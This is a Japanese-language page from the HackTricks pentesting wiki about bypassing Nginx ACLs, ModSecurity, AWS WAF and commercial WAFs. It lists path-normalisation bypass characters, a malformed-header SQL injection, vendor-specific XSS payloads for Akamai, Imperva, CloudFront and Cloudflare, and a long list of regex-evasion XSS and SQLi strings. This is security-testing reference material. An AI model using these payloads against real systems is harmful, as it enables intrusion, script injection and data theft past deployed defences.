プロキシ / WAF 保護のバイパス

Reading time: 16 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

パス名操作による Nginx ACL ルールのバイパス

この研究からの技術 from this research.

Nginx ルールの例:

plaintext
location = /admin {
deny all;
}

location = /admin/ {
deny all;
}

Nginxはバイパスを防ぐために、チェックする前にパスの正規化を行います。しかし、バックエンドサーバーが異なる正規化(nginxが削除しない文字を削除する)を行う場合、この防御をバイパスすることが可能かもしれません。

NodeJS - Express

Nginx VersionNode.js Bypass Characters
1.22.0\xA0
1.21.6\xA0
1.20.2\xA0, \x09, \x0C
1.18.0\xA0, \x09, \x0C
1.16.1\xA0, \x09, \x0C

Flask

Nginx VersionFlask Bypass Characters
1.22.0\x85, \xA0
1.21.6\x85, \xA0
1.20.2\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.18.0\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B
1.16.1\x85, \xA0, \x1F, \x1E, \x1D, \x1C, \x0C, \x0B

Spring Boot

Nginx VersionSpring Boot Bypass Characters
1.22.0;
1.21.6;
1.20.2\x09, ;
1.18.0\x09, ;
1.16.1\x09, ;

PHP-FPM

Nginx FPM設定:

plaintext
location = /admin.php {
deny all;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/run/php/php8.1-fpm.sock;
}

Nginxは/admin.phpへのアクセスをブロックするように設定されていますが、/admin.php/index.phpにアクセスすることでこれをバイパスすることが可能です。

予防方法

plaintext
location ~* ^/admin {
deny all;
}

Mod Securityルールのバイパス

パスの混乱

この投稿では、ModSecurity v3(3.0.12まで)が、アクセスされたパス(パラメータの開始まで)を含むはずのREQUEST_FILENAME変数を不適切に実装していたことが説明されています。これは、パスを取得するためにURLデコードを行ったためです。
したがって、http://example.com/foo%3f';alert(1);foo=のようなリクエストは、mod securityではパスが単に/fooであると見なされます。なぜなら、%3f?に変換されてURLパスが終了するからですが、実際にサーバーが受け取るパスは/foo%3f';alert(1);foo=になります。

REQUEST_BASENAMEおよびPATH_INFO変数もこのバグの影響を受けました。

Mod Securityのバージョン2でも同様のことが発生し、特定の拡張子(例えば.bak)に関連するバックアップファイルへのユーザーアクセスを防ぐ保護をバイパスすることが可能でした。これは、ドットを%2eでURLエンコードして送信することで実現されました。例えば:https://example.com/backup%2ebak

AWS WAF ACLのバイパス

不正なヘッダー

この研究では、AWSが適用したHTTPヘッダーに対するWAFルールを、不正に解析されたヘッダーを送信することでバイパスすることが可能であったと述べています。このヘッダーはAWSによって適切に解析されませんでしたが、バックエンドサーバーによっては解析されました。

例えば、ヘッダーX-QueryにSQLインジェクションを含む以下のリクエストを送信することです:

http
GET / HTTP/1.1\r\n
Host: target.com\r\n
X-Query: Value\r\n
\t' or '1'='1' -- \r\n
Connection: close\r\n
\r\n

AWS WAFをバイパスすることが可能だったのは、次の行がヘッダーの値の一部であることを理解できなかったためであり、NODEJSサーバーは理解していた(これは修正された)。

一般的なWAFバイパス

リクエストサイズ制限

一般的にWAFには、チェックするリクエストの長さ制限があり、POST/PUT/PATCHリクエストがそれを超えると、WAFはリクエストをチェックしません。

Application Load BalancerおよびAWS AppSync保護のために検査できるウェブリクエストボディの最大サイズ8 KB
CloudFront、API Gateway、Amazon Cognito、App Runner、およびVerified Access保護のために検査できるウェブリクエストボディの最大サイズ**64 KB

古いWebアプリケーションファイアウォールは、Core Rule Set 3.1(またはそれ以下)で、リクエストボディの検査をオフにすることで128 KBを超えるメッセージを許可しますが、これらのメッセージは脆弱性のチェックを受けません。新しいバージョン(Core Rule Set 3.2以降)では、最大リクエストボディ制限を無効にすることで同様のことができます。リクエストがサイズ制限を超えると:

防止モードの場合:リクエストをログに記録し、ブロックします。
検出モードの場合:制限まで検査し、残りを無視し、Content-Lengthが制限を超えた場合はログに記録します。

デフォルトでは、WAFはリクエストの最初の8KBのみを検査します。高度なメタデータを追加することで、制限を128KBまで引き上げることができます。

最大128KB。

難読化

bash
# IIS, ASP Clasic
<%s%cr%u0131pt> == <script>

# Path blacklist bypass - Tomcat
/path1/path2/ == ;/path1;foo/path2;bar/;

Unicode 互換性

Unicode 正規化の実装によって(詳細は こちら)、Unicode 互換性を共有する文字は WAF をバイパスし、意図したペイロードとして実行できる場合があります。互換性のある文字は こちら で見つけることができます。

bash
# under the NFKD normalization algorithm, the characters on the left translate
# to the XSS payload on the right
<img src⁼p onerror⁼'prompt⁽1⁾'﹥  --> <img src=p onerror='prompt(1)'>

コンテキストWAFのバイパスとエンコーディング

このブログ記事で述べられているように、ユーザー入力のコンテキストを維持できるWAFをバイパスするために、WAFの技術を悪用してユーザーの入力を実際に正規化することができます。

例えば、記事ではAkamaiがユーザー入力を10回デコードしたと述べられています。したがって、<input/%2525252525252525253e/onfocusのようなものは、Akamaiには<input/>/onfocusとして見え、タグが閉じているため問題ないと考えるかもしれません。しかし、アプリケーションが入力を10回URLデコードしない限り、被害者は<input/%25252525252525253e/onfocusのようなものを見ることになり、これはXSS攻撃に対して依然として有効です

したがって、これはWAFがデコードして解釈するエンコードされたコンポーネントにペイロードを隠すことを可能にしますが、被害者はそれを認識しません。

さらに、これはURLエンコードされたペイロードだけでなく、unicode、hex、octalなどの他のエンコーディングでも行うことができます。

記事では、以下の最終的なバイパスが提案されています:

  • Akamai:akamai.com/?x=<x/%u003e/tabindex=1 autofocus/onfocus=x=self;x['ale'%2b'rt'](999)>
  • Imperva:imperva.com/?x=<x/\x3e/tabindex=1 style=transition:0.1s autofocus/onfocus="a=document;b=a.defaultView;b.ontransitionend=b['aler'%2b't'];style.opacity=0;Object.prototype.toString=x=>999">
  • AWS/Cloudfront:docs.aws.amazon.com/?x=<x/%26%23x3e;/tabindex=1 autofocus/onfocus=alert(999)>
  • Cloudflare:cloudflare.com/?x=<x tabindex=1 autofocus/onfocus="style.transition='0.1s';style.opacity=0;self.ontransitionend=alert;Object.prototype.toString=x=>999">

また、いくつかのWAFがユーザー入力のコンテキストをどのように理解するかによって、それを悪用することが可能であることも述べられています。ブログで提案された例は、Akamaiが/**/の間に何でも入れることを許可していることです(これは一般的にコメントとして使用されるため、潜在的に)。したがって、/*'or sleep(5)-- -*/のようなSQLインジェクションはキャッチされず、/*がインジェクションの開始文字列であり、*/がコメントされているため有効です。

このようなコンテキストの問題は、WAFによって悪用されることが期待される脆弱性以外の他の脆弱性を悪用するためにも使用できます(例えば、これを使用してXSSを悪用することも可能です)。

H2Cスモグリング

Upgrade Header Smuggling

IPローテーション

正規表現バイパス

ファイアウォールの正規表現フィルターをバイパスするために、さまざまな技術が使用できます。例としては、大文字と小文字の交互使用、改行の追加、ペイロードのエンコーディングなどがあります。さまざまなバイパスのリソースはPayloadsAllTheThingsOWASPで見つけることができます。以下の例はこの記事から引用されています。

bash
<sCrIpT>alert(XSS)</sCriPt> #changing the case of the tag
<<script>alert(XSS)</script> #prepending an additional "<"
<script>alert(XSS) // #removing the closing tag
<script>alert`XSS`</script> #using backticks instead of parenetheses
java%0ascript:alert(1) #using encoded newline characters
<iframe src=http://malicous.com < #double open angle brackets
<STYLE>.classname{background-image:url("javascript:alert(XSS)");}</STYLE> #uncommon tags
<img/src=1/onerror=alert(0)> #bypass space filter by using / where a space is expected
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>xss</a> #extra characters
Function("ale"+"rt(1)")(); #using uncommon functions besides alert, console.log, and prompt
javascript:74163166147401571561541571411447514115414516216450615176 #octal encoding
<iframe src="javascript:alert(`xss`)"> #unicode encoding
/?id=1+un/**/ion+sel/**/ect+1,2,3-- #using comments in SQL query to break up statement
new Function`alt\`6\``; #using backticks instead of parentheses
data:text/html;base64,PHN2Zy9vbmxvYWQ9YWxlcnQoMik+ #base64 encoding the javascript
%26%2397;lert(1) #using HTML encoding
<a src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(XSS)"> #Using Line Feed (LF) line breaks
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^`=confirm()> # use any chars that aren't letters, numbers, or encapsulation chars between event handler and equal sign (only works on Gecko engine)

ツール

  • nowafpls: WAFを長さでバイパスするためにリクエストにジャンクデータを追加するBurpプラグイン

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする